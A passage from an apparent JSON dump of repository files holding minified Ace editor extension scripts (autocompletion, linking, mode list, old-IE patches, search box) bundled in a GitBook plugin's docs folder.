t=e.replace(\"mode\",\"snippets\");r.files[e]={},s.loadModule(t,function(t){t&&(r.files[e]=t,!t.snippets&&t.snippetText&&(t.snippets=r.parseSnippetFile(t.snippetText)),r.register(t.snippets||[],t.scope),t.includeScopes&&(r.snippetMap[t.scope].includeScopes=t.includeScopes,t.includeScopes.forEach(function(e){v(\"ace/mode/\"+e)})))})},g=function(e){var t=e.editor,n=t.completer&&t.completer.activated;if(e.command.name===\"backspace\")n&&!m(t)&&t.completer.detach();else if(e.command.name===\"insertstring\"){var r=m(t);r&&!n&&(t.completer||(t.completer=new i),t.completer.autoInsert=!1,t.completer.showPopup(t))}},y=e(\"../editor\").Editor;e(\"../config\").defineOptions(y.prototype,\"editor\",{enableBasicAutocompletion:{set:function(e){e?(this.completers||(this.completers=Array.isArray(e)?e:c),this.commands.addCommand(i.startCommand)):this.commands.removeCommand(i.startCommand)},value:!1},enableLiveAutocompletion:{set:function(e){e?(this.completers||(this.completers=Array.isArray(e)?e:c),this.commands.on(\"afterExec\",g)):this.commands.removeListener(\"afterExec\",g)},value:!1},enableSnippets:{set:function(e){e?(this.commands.addCommand(h),this.on(\"changeMode\",p),p(null,this)):(this.commands.removeCommand(h),this.off(\"changeMode\",p))},value:!1}})});\n                (function() {\n                    window.require([\"ace/ext/language_tools\"], function() {});\n                })();\n            "
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/ext-linking.js",
    "content": "define(\"ace/ext/linking\",[\"require\",\"exports\",\"module\",\"ace/editor\",\"ace/config\"],function(e,t,n){function i(e){var t=e.editor,n=e.getAccelKey();if(n){var t=e.editor,r=e.getDocumentPosition(),i=t.session,s=i.getTokenAt(r.row,r.column);t._emit(\"linkHover\",{position:r,token:s})}}function s(e){var t=e.getAccelKey(),n=e.getButton();if(n==0&&t){var r=e.editor,i=e.getDocumentPosition(),s=r.session,o=s.getTokenAt(i.row,i.column);r._emit(\"linkClick\",{position:i,token:o})}}var r=e(\"ace/editor\").Editor;e(\"../config\").defineOptions(r.prototype,\"editor\",{enableLinking:{set:function(e){e?(this.on(\"click\",s),this.on(\"mousemove\",i)):(this.off(\"click\",s),this.off(\"mousemove\",i))},value:!1}})});\n                (function() {\n                    window.require([\"ace/ext/linking\"], function() {});\n                })();\n            "
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/ext-modelist.js",
    "content": "define(\"ace/ext/modelist\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";function i(e){var t=a.text,n=e.split(/[\\/\\\\]/).pop();for(var i=0;i<r.length;i++)if(r[i].supportsFile(n)){t=r[i];break}return t}var r=[],s=function(e,t,n){this.name=e,this.caption=t,this.mode=\"ace/mode/\"+e,this.extensions=n;if(/\\^/.test(n))var r=n.replace(/\\|(\\^)?/g,function(e,t){return\"$|\"+(t?\"^\":\"^.*\\\\.\")})+\"$\";else var r=\"^.*\\\\.(\"+n+\")$\";this.extRe=new RegExp(r,\"gi\")};s.prototype.supportsFile=function(e){return e.match(this.extRe)};var o={ABAP:[\"abap\"],ABC:[\"abc\"],ActionScript:[\"as\"],ADA:[\"ada|adb\"],Apache_Conf:[\"^htaccess|^htgroups|^htpasswd|^conf|htaccess|htgroups|htpasswd\"],AsciiDoc:[\"asciidoc|adoc\"],Assembly_x86:[\"asm|a\"],AutoHotKey:[\"ahk\"],BatchFile:[\"bat|cmd\"],C_Cpp:[\"cpp|c|cc|cxx|h|hh|hpp|ino\"],C9Search:[\"c9search_results\"],Cirru:[\"cirru|cr\"],Clojure:[\"clj|cljs\"],Cobol:[\"CBL|COB\"],coffee:[\"coffee|cf|cson|^Cakefile\"],ColdFusion:[\"cfm\"],CSharp:[\"cs\"],CSS:[\"css\"],Curly:[\"curly\"],D:[\"d|di\"],Dart:[\"dart\"],Diff:[\"diff|patch\"],Dockerfile:[\"^Dockerfile\"],Dot:[\"dot\"],Dummy:[\"dummy\"],DummySyntax:[\"dummy\"],Eiffel:[\"e|ge\"],EJS:[\"ejs\"],Elixir:[\"ex|exs\"],Elm:[\"elm\"],Erlang:[\"erl|hrl\"],Forth:[\"frt|fs|ldr\"],FTL:[\"ftl\"],Gcode:[\"gcode\"],Gherkin:[\"feature\"],Gitignore:[\"^.gitignore\"],Glsl:[\"glsl|frag|vert\"],golang:[\"go\"],Groovy:[\"groovy\"],HAML:[\"haml\"],Handlebars:[\"hbs|handlebars|tpl|mustache\"],Haskell:[\"hs\"],haXe:[\"hx\"],HTML:[\"html|htm|xhtml\"],HTML_Ruby:[\"erb|rhtml|html.erb\"],HTML_Elixir:[\"eex|html.eex\"],INI:[\"ini|conf|cfg|prefs\"],Io:[\"io\"],Jack:[\"jack\"],Jade:[\"jade\"],Java:[\"java\"],JavaScript:[\"js|jsm|jsx\"],JSON:[\"json\"],JSONiq:[\"jq\"],JSP:[\"jsp\"],JSX:[\"jsx\"],Julia:[\"jl\"],LaTeX:[\"tex|latex|ltx|bib\"],Lean:[\"lean|hlean\"],LESS:[\"less\"],Liquid:[\"liquid\"],Lisp:[\"lisp\"],LiveScript:[\"ls\"],LogiQL:[\"logic|lql\"],LSL:[\"lsl\"],Lua:[\"lua\"],LuaPage:[\"lp\"],Lucene:[\"lucene\"],Makefile:[\"^Makefile|^GNUmakefile|^makefile|^OCamlMakefile|make\"],Markdown:[\"md|markdown\"],Mask:[\"mask\"],MATLAB:[\"matlab\"],Maze:[\"mz\"],MEL:[\"mel\"],MUSHCode:[\"mc|mush\"],MySQL:[\"mysql\"],Nix:[\"nix\"],ObjectiveC:[\"m|mm\"],OCaml:[\"ml|mli\"],Pascal:[\"pas|p\"],Perl:[\"pl|pm\"],pgSQL:[\"pgsql\"],PHP:[\"php|phtml|shtml|php3|php4|php5|phps|phpt|aw|ctp\"],Powershell:[\"ps1\"],Praat:[\"praat|praatscript|psc|proc\"],Prolog:[\"plg|prolog\"],Properties:[\"properties\"],Protobuf:[\"proto\"],Python:[\"py\"],R:[\"r\"],RDoc:[\"Rd\"],RHTML:[\"Rhtml\"],Ruby:[\"rb|ru|gemspec|rake|^Guardfile|^Rakefile|^Gemfile\"],Rust:[\"rs\"],SASS:[\"sass\"],SCAD:[\"scad\"],Scala:[\"scala\"],Scheme:[\"scm|sm|rkt|oak|scheme\"],SCSS:[\"scss\"],SH:[\"sh|bash|^.bashrc\"],SJS:[\"sjs\"],Smarty:[\"smarty|tpl\"],snippets:[\"snippets\"],Soy_Template:[\"soy\"],Space:[\"space\"],SQL:[\"sql\"],SQLServer:[\"sqlserver\"],Stylus:[\"styl|stylus\"],SVG:[\"svg\"],Swift:[\"swift\"],Tcl:[\"tcl\"],Tex:[\"tex\"],Text:[\"txt\"],Textile:[\"textile\"],Toml:[\"toml\"],Twig:[\"twig|swig\"],Typescript:[\"ts|typescript|str\"],Vala:[\"vala\"],VBScript:[\"vbs|vb\"],Velocity:[\"vm\"],Verilog:[\"v|vh|sv|svh\"],VHDL:[\"vhd|vhdl\"],XML:[\"xml|rdf|rss|wsdl|xslt|atom|mathml|mml|xul|xbl|xaml\"],XQuery:[\"xq\"],YAML:[\"yaml|yml\"],Django:[\"html\"]},u={ObjectiveC:\"Objective-C\",CSharp:\"C#\",golang:\"Go\",C_Cpp:\"C and C++\",coffee:\"CoffeeScript\",HTML_Ruby:\"HTML (Ruby)\",HTML_Elixir:\"HTML (Elixir)\",FTL:\"FreeMarker\"},a={};for(var f in o){var l=o[f],c=(u[f]||f).replace(/_/g,\" \"),h=f.toLowerCase(),p=new s(h,c,l[0]);a[h]=p,r.push(p)}n.exports={getModeForPath:i,modes:r,modesByName:a}});\n                (function() {\n                    window.require([\"ace/ext/modelist\"], function() {});\n                })();\n            "
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/ext-old_ie.js",
    "content": "define(\"ace/ext/searchbox\",[\"require\",\"exports\",\"module\",\"ace/lib/dom\",\"ace/lib/lang\",\"ace/lib/event\",\"ace/keyboard/hash_handler\",\"ace/lib/keys\"],function(e,t,n){\"use strict\";var r=e(\"../lib/dom\"),i=e(\"../lib/lang\"),s=e(\"../lib/event\"),o=\".ace_search {background-color: #ddd;border: 1px solid #cbcbcb;border-top: 0 none;max-width: 325px;overflow: hidden;margin: 0;padding: 4px;padding-right: 6px;padding-bottom: 0;position: absolute;top: 0px;z-index: 99;white-space: normal;}.ace_search.left {border-left: 0 none;border-radius: 0px 0px 5px 0px;left: 0;}.ace_search.right {border-radius: 0px 0px 0px 5px;border-right: 0 none;right: 0;}.ace_search_form, .ace_replace_form {border-radius: 3px;border: 1px solid #cbcbcb;float: left;margin-bottom: 4px;overflow: hidden;}.ace_search_form.ace_nomatch {outline: 1px solid red;}.ace_search_field {background-color: white;border-right: 1px solid #cbcbcb;border: 0 none;-webkit-box-sizing: border-box;-moz-box-sizing: border-box;box-sizing: border-box;float: left;height: 22px;outline: 0;padding: 0 7px;width: 214px;margin: 0;}.ace_searchbtn,.ace_replacebtn {background: #fff;border: 0 none;border-left: 1px solid #dcdcdc;cursor: pointer;float: left;height: 22px;margin: 0;position: relative;}.ace_searchbtn:last-child,.ace_replacebtn:last-child {border-top-right-radius: 3px;border-bottom-right-radius: 3px;}.ace_searchbtn:disabled {background: none;cursor: default;}.ace_searchbtn {background-position: 50% 50%;background-repeat: no-repeat;width: 27px;}.ace_searchbtn.prev {background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAgAAAAFCAYAAAB4ka1VAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAADFJREFUeNpiSU1NZUAC/6E0I0yACYskCpsJiySKIiY0SUZk40FyTEgCjGgKwTRAgAEAQJUIPCE+qfkAAAAASUVORK5CYII=);    }.ace_searchbtn.next {background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAgAAAAFCAYAAAB4ka1VAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAADRJREFUeNpiTE1NZQCC/0DMyIAKwGJMUAYDEo3M/s+EpvM/mkKwCQxYjIeLMaELoLMBAgwAU7UJObTKsvAAAAAASUVORK5CYII=);    }.ace_searchbtn_close {background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAcCAYAAABRVo5BAAAAZ0lEQVR42u2SUQrAMAhDvazn8OjZBilCkYVVxiis8H4CT0VrAJb4WHT3C5xU2a2IQZXJjiQIRMdkEoJ5Q2yMqpfDIo+XY4k6h+YXOyKqTIj5REaxloNAd0xiKmAtsTHqW8sR2W5f7gCu5nWFUpVjZwAAAABJRU5ErkJggg==) no-repeat 50% 0;border-radius: 50%;border: 0 none;color: #656565;cursor: pointer;float: right;font: 16px/16px Arial;height: 14px;margin: 5px 1px 9px 5px;padding: 0;text-align: center;width: 14px;}.ace_searchbtn_close:hover {background-color: #656565;background-position: 50% 100%;color: white;}.ace_replacebtn.prev {width: 54px}.ace_replacebtn.next {width: 27px}.ace_button {margin-left: 2px;cursor: pointer;-webkit-user-select: none;-moz-user-select: none;-o-user-select: none;-ms-user-select: none;user-select: none;overflow: hidden;opacity: 0.7;border: 1px solid rgba(100,100,100,0.23);padding: 1px;-moz-box-sizing: border-box;box-sizing:    border-box;color: black;}.ace_button:hover {background-color: #eee;opacity:1;}.ace_button:active {background-color: #ddd;}.ace_button.checked {border-color: #3399ff;opacity:1;}.ace_search_options{margin-bottom: 3px;text-align: right;-webkit-user-select: none;-moz-user-select: none;-o-user-select: none;-ms-user-select: none;user-select: none;}\",u=e(\"../keyboard/hash_handler\").HashHandler,a=e(\"../lib/keys\");r.importCssString(o,\"ace_searchbox\");var f='<div class=\"ace_search right\">    <button type=\"button\" action=\"hide\" class=\"ace_searchbtn_close\"></button>    <div class=\"ace_search_form\">        <input class=\"ace_search_field\" placeholder=\"Search for\" spellcheck=\"false\"></input>        <button type=\"button\" action=\"findNext\" class=\"ace_searchbtn next\"></button>        <button type=\"button\" action=\"findPrev\" class=\"ace_searchbtn prev\"></button>        <button type=\"button\" action=\"findAll\" class=\"ace_searchbtn\" title=\"Alt-Enter\">All</button>    </div>    <div class=\"ace_replace_form\">        <input class=\"ace_search_field\" placeholder=\"Replace with\" spellcheck=\"false\"></input>        <button type=\"button\" action=\"replaceAndFindNext\" class=\"ace_replacebtn\">Replace</button>        <button type=\"button\" action=\"replaceAll\" class=\"ace_replacebtn\">All</button>    </div>    <div class=\"ace_search_options\">        <span action=\"toggleRegexpMode\" class=\"ace_button\" title=\"RegExp Search\">.*</span>        <span action=\"toggleCaseSensitive\" class=\"ace_button\" title=\"CaseSensitive Search\">Aa</span>        <span action=\"toggleWholeWords\" class=\"ace_button\" title=\"Whole Word Search\">\\\\b</span>    </div></div>'.replace(/>\\s+/g,\">\"),l=function(e,t,n){var i=r.createElement(\"div\");i.innerHTML=f,this.element=i.firstChild,this.$init(),this.setEditor(e)};(function(){this.setEditor=function(e){e.searchBox=this,e.container.appendChild(this.element),this.editor=e},this.$initElements=function(e){this.searchBox=e.querySelector(\".ace_search_form\"),this.replaceBox=e.querySelector(\".ace_replace_form\"),this.searchOptions=e.querySelector(\".ace_search_options\"),this.regExpOption=e.querySelector(\"[action=toggleRegexpMode]\"),this.caseSensitiveOption=e.querySelector(\"[action=toggleCaseSensitive]\"),this.wholeWordOption=e.querySelector(\"[action=toggleWholeWords]\"),this.searchInput=this.searchBox.querySelector(\".ace_search_field\"),this.replaceInput=this.replaceBox.querySelector(\".ace_search_field\")},this.$init=function(){var e=this.element;this.$initElements(e);var t=this;s.addListener(e,\"mousedown\",function(e){setTimeout(function(){t.activeInput.focus()},0),s.stopPropagation(e)}),s.addListener(e,\"click\",function(e){var n=e.target||e.srcElement,r=n.getAttribute(\"action\");r&&t[r]?t[r]():t.$searchBarKb.commands[r]&&t.$searchBarKb.commands[r].exec(t),s.stopPropagation(e)}),s.addCommandKeyListener(e,function(e,n,r){var i=a.keyCodeToString(r),o=t.$searchBarKb.findKeyCommand(n,i);o&&o.exec&&(o.exec(t),s.stopEvent(e))}),this.$onChange=i.delayedCall(function(){t.find(!1,!1)}),s.addListener(this.searchInput,\"input\",function(){t.$onChange.schedule(20)}),s.addListener(this.searchInput,\"focus\",function(){t.activeInput=t.searchInput,t.searchInput.value&&t.highlight()}),s.addListener(this.replaceInput,\"focus\",function(){t.activeInput=t.replaceInput,t.searchInput.value&&t.highlight()})},this.$closeSearchBarKb=new u([{bindKey:\"Esc\",name:\"closeSearchBar\",exec:function(e){e.searchBox.hide()}}]),this.$searchBarKb=new u,this.$searchBarKb.bindKeys({\"Ctrl-f|Command-f\":function(e){var t=e.isReplace=!e.isReplace;e.replaceBox.style.display=t?\"\":\"none\",e.searchInput.focus()},\"Ctrl-H|Command-Option-F\":function(e){e.replaceBox.style.display=\"\",e.replaceInput.focus()},\"Ctrl-G|Command-G\":function(e){e.findNext()},\"Ctrl-Shift-G|Command-Shift-G\":function(e){e.findPrev()},esc:function(e){setTimeout(function(){e.hide()})},Return:function(e){e.activeInput==e.replaceInput&&e.replace(),e.findNext()},\"Shift-Return\":function(e){e.activeInput==e.replaceInput&&e.replace(),e.findPrev()},\"Alt-Return\":function(e){e.activeInput==e.replaceInput&&e.replaceAll(),e.findAll()},Tab:function(e){(e.activeInput==e.replaceInput?e.searchInput:e.replaceInput).focus()}}),this.$searchBarKb.addCommands([{name:\"toggleRegexpMode\",bindKey:{win:\"Alt-R|Alt-/\",mac:\"Ctrl-Alt-R|Ctrl-Alt-/\"},exec:function(e){e.regExpOption.checked=!e.regExpOption.checked,e.$syncOptions()}},{name:\"toggleCaseSensitive\",bindKey:{win:\"Alt-C|Alt-I\",mac:\"Ctrl-Alt-R|Ctrl-Alt-I\"},exec:function(e){e.caseSensitiveOption.checked=!e.caseSensitiveOption.checked,e.$syncOptions()}},{name:\"toggleWholeWords\",bindKey:{win:\"Alt-B|Alt-W\",mac:\"Ctrl-Alt-B|Ctrl-Alt-W\"},exec:function(e){e.wholeWordOption.checked=!e.wholeWordOption.checked,e.$syncOptions()}}]),this.$syncOptions=function(){r.setCssClass(this.regExpOption,\"checked\",this.regExpOption.checked),r.setCssClass(this.wholeWordOption,\"checked\",this.wholeWordOption.checked),r.setCssClass(this.caseSensitiveOption,\"checked\",this.caseSensitiveOption.checked),this.find(!1,!1)},this.highlight=function(e){this.editor.session.highlight(e||this.editor.$search.$options.re),this.editor.renderer.updateBackMarkers()},this.find=function(e,t,n){var i=this.editor.find(this.searchInput.value,{skipCurrent:e,backwards:t,wrap:!0,regExp:this.regExpOption.checked,caseSensitive:this.caseSensitiveOption.checked,wholeWord:this.wholeWordOption.checked,preventScroll:n}),s=!i&&this.searchInput.value;r.setCssClass(this.searchBox,\"ace_nomatch\",s),this.editor._emit(\"findSearchBox\",{match:!s}),this.highlight()},this.findNext=function(){this.find(!0,!1)},this.findPrev=function(){this.find(!0,!0)},this.findAll=function(){var e=this.editor.findAll(this.searchInput.value,{regExp:this.regExpOption.checked,caseSensitive:this.caseSensitiveOption.checked,wholeWord:this.wholeWordOption.checked}),t=!e&&this.searchInput.value;r.setCssClass(this.searchBox,\"ace_nomatch\",t),this.editor._emit(\"findSearchBox\",{match:!t}),this.highlight(),this.hide()},this.replace=function(){this.editor.getReadOnly()||this.editor.replace(this.replaceInput.value)},this.replaceAndFindNext=function(){this.editor.getReadOnly()||(this.editor.replace(this.replaceInput.value),this.findNext())},this.replaceAll=function(){this.editor.getReadOnly()||this.editor.replaceAll(this.replaceInput.value)},this.hide=function(){this.element.style.display=\"none\",this.editor.keyBinding.removeKeyboardHandler(this.$closeSearchBarKb),this.editor.focus()},this.show=function(e,t){this.element.style.display=\"\",this.replaceBox.style.display=t?\"\":\"none\",this.isReplace=t,e&&(this.searchInput.value=e),this.find(!1,!1,!0),this.searchInput.focus(),this.searchInput.select(),this.editor.keyBinding.addKeyboardHandler(this.$closeSearchBarKb)},this.isFocused=function(){var e=document.activeElement;return e==this.searchInput||e==this.replaceInput}}).call(l.prototype),t.SearchBox=l,t.Search=function(e,t){var n=e.searchBox||new l(e);n.show(e.session.getTextRange(),t)}}),define(\"ace/ext/old_ie\",[\"require\",\"exports\",\"module\",\"ace/lib/useragent\",\"ace/tokenizer\",\"ace/ext/searchbox\",\"ace/mode/text\"],function(require,exports,module){\"use strict\";function patch(obj,name,regexp,replacement){eval(\"obj['\"+name+\"']=\"+obj[name].toString().replace(regexp,replacement))}var MAX_TOKEN_COUNT=1e3,useragent=require(\"../lib/useragent\"),TokenizerModule=require(\"../tokenizer\");useragent.isIE&&useragent.isIE<10&&window.top.document.compatMode===\"BackCompat\"&&(useragent.isOldIE=!0);if(typeof document!=\"undefined\"&&!document.documentElement.querySelector){useragent.isOldIE=!0;var qs=function(e,t){if(t.charAt(0)==\".\")var n=t.slice(1);else var r=t.match(/(\\w+)=(\\w+)/),i=r&&r[1],s=r&&r[2];for(var o=0;o<e.all.length;o++){var u=e.all[o];if(n){if(u.className.indexOf(n)!=-1)return u}else if(i&&u.getAttribute(i)==s)return u}},sb=require(\"./searchbox\").SearchBox.prototype;patch(sb,\"$initElements\",/([^\\s=]*).querySelector\\((\".*?\")\\)/g,\"qs($1, $2)\")}var compliantExecNpcg=/()??/.exec(\"\")[1]===undefined;if(compliantExecNpcg)return;var proto=TokenizerModule.Tokenizer.prototype;TokenizerModule.Tokenizer_orig=TokenizerModule.Tokenizer,proto.getLineTokens_orig=proto.getLineTokens,patch(TokenizerModule,\"Tokenizer\",\"ruleRegExps.push(adjustedregex);\\n\",function(e){return e+'        if (state[i].next && RegExp(adjustedregex).test(\"\"))\\n            rule._qre = RegExp(adjustedregex, \"g\");\\n        '}),TokenizerModule.Tokenizer.prototype=proto,patch(proto,\"getLineTokens\",/if \\(match\\[i \\+ 1\\] === undefined\\)\\s*continue;/,\"if (!match[i + 1]) {\\n        if (value)continue;\\n        var qre = state[mapping[i]]._qre;\\n        if (!qre) continue;\\n        qre.lastIndex = lastIndex;\\n        if (!qre.exec(line) || qre.lastIndex != lastIndex)\\n            continue;\\n    }\"),patch(require(\"../mode/text\").Mode.prototype,\"getTokenizer\",/Tokenizer/,\"TokenizerModule.Tokenizer\"),useragent.isOldIE=!0});\n                (function() {\n                    window.require([\"ace/ext/old_ie\"], function() {});\n                })();\n            "
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/ext-searchbox.js",
    "content": "define(\"ace/ext/searchbox\",[\"require\",\"exports\",\"module\",\"ace/lib/dom\",\"ace/lib/lang\",\"ace/lib/event\",\"ace/keyboard/hash_handler\",\"ace/lib/keys\"],function(e,t,n){\"use strict\";var r=e(\"../lib/dom\"),i=e(\"../lib/lang\"),s=e(\"../lib/event\"),o=\".ace_search {background-color: #ddd;border: 1px solid #cbcbcb;border-top: 0 none;max-width: 325px;overflow: hidden;margin: 0;padding: 4px;padding-right: 6px;padding-bottom: 0;position: absolute;top: 0px;z-index: 99;white-space: normal;}.ace_search.left {border-left: 0 none;border-radius: 0px 0px 5px 0px;left: 0;}.ace_search.right {border-radius: 0px 0px 0px 5px;border-right: 0 none;right: 0;}.ace_search_form, .ace_replace_form {border-radius: 3px;border: 1px solid #cbcbcb;float: left;margin-bottom: 4px;overflow: hidden;}.ace_search_form.ace_nomatch {outline: 1px solid red;}.ace_search_field {background-color: white;border-right: 1px solid #cbcbcb;border: 0 none;-webkit-box-sizing: border-box;-moz-box-sizing: border-box;box-sizing: border-box;float: left;height: 22px;outline: 0;padding: 0 7px;width: 214px;margin: 0;}.ace_searchbtn,.ace_replacebtn {background: #fff;border: 0 none;border-left: 1px solid #dcdcdc;cursor: pointer;float: left;height: 22px;margin: 0;position: relative;}.ace_searchbtn:last-child,.ace_replacebtn:last-child {border-top-right-radius: 3px;border-bottom-right-radius: 3px;}.ace_searchbtn:disabled {background: none;cursor: default;}.ace_searchbtn {background-position: 50% 50%;background-repeat: no-repeat;width: 27px;}.ace_searchbtn.prev {background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAgAAAAFCAYAAAB4ka1VAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAADFJREFUeNpiSU1NZUAC/6E0I0yACYskCpsJiySKIiY0SUZk40FyTEgCjGgKwTRAgAEAQJUIPCE+qfkAAAAASUVORK5CYII=);    }.ace_searchbtn.next {background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAgAAAAFCAYAAAB4ka1VAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAADRJREFUeNpiTE1NZQCC/0DMyIAKwGJMUAYDEo3M/s+EpvM/mkKwCQxYjIeLMaELoLMBAgwAU7UJObTKsvAAAAAASUVORK5CYII=);    }.ace_searchbtn_close {background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAcCAYAAABRVo5BAAAAZ0lEQVR42u2SUQrAMAhDvazn8OjZBilCkYVVxiis8H4CT0VrAJb4WHT3C5xU2a2IQZXJjiQIRMdkEoJ5Q2yMqpfDIo+XY4k6h+YXOyKqTIj5REaxloNAd0xiKmAtsTHqW8sR2W5f7gCu5nWFUpVjZwAAAABJRU5ErkJggg==) no-repeat 50% 0;border-radius: 50%;border: 0 none;color: #656565;cursor: pointer;float: right;font: 16px/16px Arial;height: 14px;margin: 5px 1px 9px 5px;padding: 0;text-align: center;width: 14px;}.ace_searchbtn_close:hover {background-color: #656565;background-position: 50% 100%;color: white;}.ace_replacebtn.prev {width: 54px}.ace_replacebtn.next {width: 27px}.ace_button {margin-left: 2px;cursor: pointer;-webkit-user-select: none;-moz-user-select: none;-o-user-select: none;-ms-user-select: none;user-select: none;overflow: hidden;opacity: 0.7;border: 1px solid rgba(100,100,100,0.23);padding: 1px;-moz-box-sizing: border-box;box-sizing:    border-box;color: black;}.ace_button:hover {background-color: #eee;opacity:1;}.ace_button:active {background-color: #ddd;}.ace_button.checked {border-color: #3399ff;opacity:1;}.ace_search_options{margin-bottom: 3px;text-align: right;-webkit-user-select: none;-moz-user-select: none;-o-user-select: none;-ms-user-select: none;user-select: none;}\",u=e(\"../keyboard/hash_handler\").HashHandler,a=e(\"../lib/keys\");r.importCssString(o,\"ace_searchbox\");var f='<div class=\"ace_search right\">    <button type=\"button\" action=\"hide\" class=\"ace_searchbtn_close\"></button>    <div class=\"ace_search_form\">        <input class=\"ace_search_field\" placeholder=\"Search for\" spellcheck=\"false\"></input>        <button type=\"button\" action=\"findNext\" class=\"ace_searchbtn next\"></button>        <button type=\"button\" action=\"findPrev\" class=\"ace_searchbtn prev\"></button>        <button type=\"button\" action=\"findAll\" class=\"ace_searchbtn\" title=\"Alt-Enter\">All</button>    </div>    <div class=\"ace_replace_form\">        <input class=\"ace_search_field\" placeholder=\"Replace with\" spellcheck=\"false\"></input>        <button type=\"button\" action=\"replaceAndFindNext\" class=\"ace_replacebtn\">Replace</button>        <button type=\"button\" action=\"replaceAll\" class=\"ace_replacebtn\">All</button>    </div>    <div class=\"ace_search_options\">        <span action=\"toggleRegexpMode\" class=\"ace_button\" title=\"RegExp Search\">.*</span>        <span action=\"toggleCaseSensitive\" class=\"ace_button\" title=\"CaseSensitive Search\">Aa</span>        <span action=\"toggleWholeWords\" class=\"ace_button\" title=\"Whole Word Search\">\\\\b</span>    </div></div>'.replace(/>\\s+/g,\">\"),l=function(e,t,n){var i=r.createElement(\"div\");i.innerHTML=f,this.element=i.firstChild,this.$init(),this.setEditor(e)};(function(){this.setEditor=function(e){e.searchBox=this,e.container.appendChild(this.element),this.editor=e},this.$initElements=function(e){this.searchBox=e.querySelector(\".ace_search_form\"),this.replaceBox=e.querySelector(\".ace_replace_form\"),this.searchOptions=e.querySelector(\".ace_search_options\"),this.regExpOption=e.querySelector(\"[action=toggleRegexpMode]\"),this.caseSensitiveOption=e.querySelector(\"[action=toggleCaseSensitive]\"),this.wholeWordOption=e.querySelector(\"[action=toggleWholeWords]\"),this.searchInput=this.searchBox.querySelector(\".ace_search_field\"),this.replaceInput=this.replaceBox.querySelector(\".ace_search_field\")},this.$init=function(){var e=this.element;this.$initElements(e);var t=this;s.addListener(e,\"mousedown\",function(e){setTimeout(function(){t.activeInput.focus()},0),s.stopPropagation(e)}),s.addListener(e,\"click\",function(e){var n=e.target||e.srcElement,r=n.getAttribute(\"action\");r&&t[r]?t[r]():t.$searchBarKb.commands[r]&&t.$searchBarKb.commands[r].exec(t),s.stopPropagation(e)}),s.addCommandKeyListener(e,function(e,n,r){var i=a.keyCodeToString(r),o=t.$searchBarKb.findKeyCommand(n,i);o&&o.exec&&(o.exec(t),s.stopEvent(e))}),this.$onChange=i.delayedCall(function(){t.find(!1,!1)}),s.addListener(this.searchInput,\"input\",function(){t.$onChange.schedule(20)}),s.addListener(this.searchInput,\"focus\",function(){t.activeInput=t.searchInput,t.searchInput.value&&t.highlight()}),s.addListener(this.replaceInput,\"focus\",function(){t.activeInput=t.replaceInput,t.searchInput.value&&t.highlight()})},this.$closeSearchBarKb=new u([{bindKey:\"Esc\",name:\"closeSearchBar\",exec:function(e){e.searchBox.hide()}}]),this.$searchBarKb=new u,this.$searchBarKb.bindKeys({\"Ctrl-f|Command-f\":function(e){var t=e.isReplace=!e.isReplace;e.replaceBox.style.display=t?\"\":\"none\",e.searchInput.focus()},\"Ctrl-H|Command-Option-F\":function(e){e.replaceBox.style.display=\"\",e.replaceInput.focus()},\"Ctrl-G|Command-G\":function(e){e.findNext()},\"Ctrl-Shift-G|Command-Shift-G\":function(e){e.findPrev()},esc:function(e){setTimeout(function(){e.hide()})},Return:function(e){e.activeInput==e.replaceInput&&e.replace(),e.findNext()},\"Shift-Return\":function(e){e.activeInput==e.replaceInput&&e.replace(),e.findPrev()},\"Alt-Return\":function(e){e.activeInput==e.replaceInput&&e.replaceAll(),e.findAll()},Tab:function(e){(e.activeInput==e.replaceInput?e.searchInput:e.replaceInput).focus()}}),this.$searchBarKb.addCommands([{name:\"toggleRegexpMode\",bindKey:{win:\"Alt-R|Alt-/\",mac:\"Ctrl-Alt-R|Ctrl-Alt-/\"},exec:function(e){e.regExpOption.checked=!e.regExpOption.checked,e.$syncOptions()}},{name:\"toggleCaseSensitive\",bindKey:{win:\"Alt-C|Alt-I\",mac:\"Ctrl-Alt-R|Ctrl-Alt-I\"},exec:function(e){e.caseSensitiveOption.checked=!e.caseSensitiveOption.checked,e.$syncOptions()}},{name:\"toggleWholeWords\",bindKey:{win:\"Alt-B|Alt-W\",mac:\"Ctrl-Alt-B|Ctrl-Alt-W\"},exec:function(e){e.wholeWordOption.checked=!e.wholeWordOption.checked,e.$syncOptions()}}]),this.$syncOptions=function(){r.setCssClass(this.regExpOption,\"checked\",this.regExpOption.checked),r.setCssClass(this.wholeWordOption,\"checked\",this.wholeWordOption.checked),r.setCssClass(this.caseSensitiveOption,\"checked\",this.caseSensitiveOption.checked),this.find(!1,!1)},this.highlight=function(e){this.editor.session.highlight(e||this.editor.$search.$options.re),this.editor.renderer.updateBackMarkers()},this.find=function(e,t,n){var i=this.editor.find(this.searchInput.value,{skipCurrent:e,backwards:t,wrap:!0,regExp:this.regExpOption.checked,caseSensitive:this.caseSensitiveOption.checked,wholeWord:this.wholeWordOption.checked,preventScroll:n}),s=!i&&this.searchInput.value;r.setCssClass(this.searchBox,\"ace_nomatch\",s),this.editor._emit(\"findSearchBox\",{match:!s}),this.highlight()},this.findNext=function(){this.find(!0,!1)},this.findPrev=function(){this.find(!0,!0)},this.findAll=function(){var 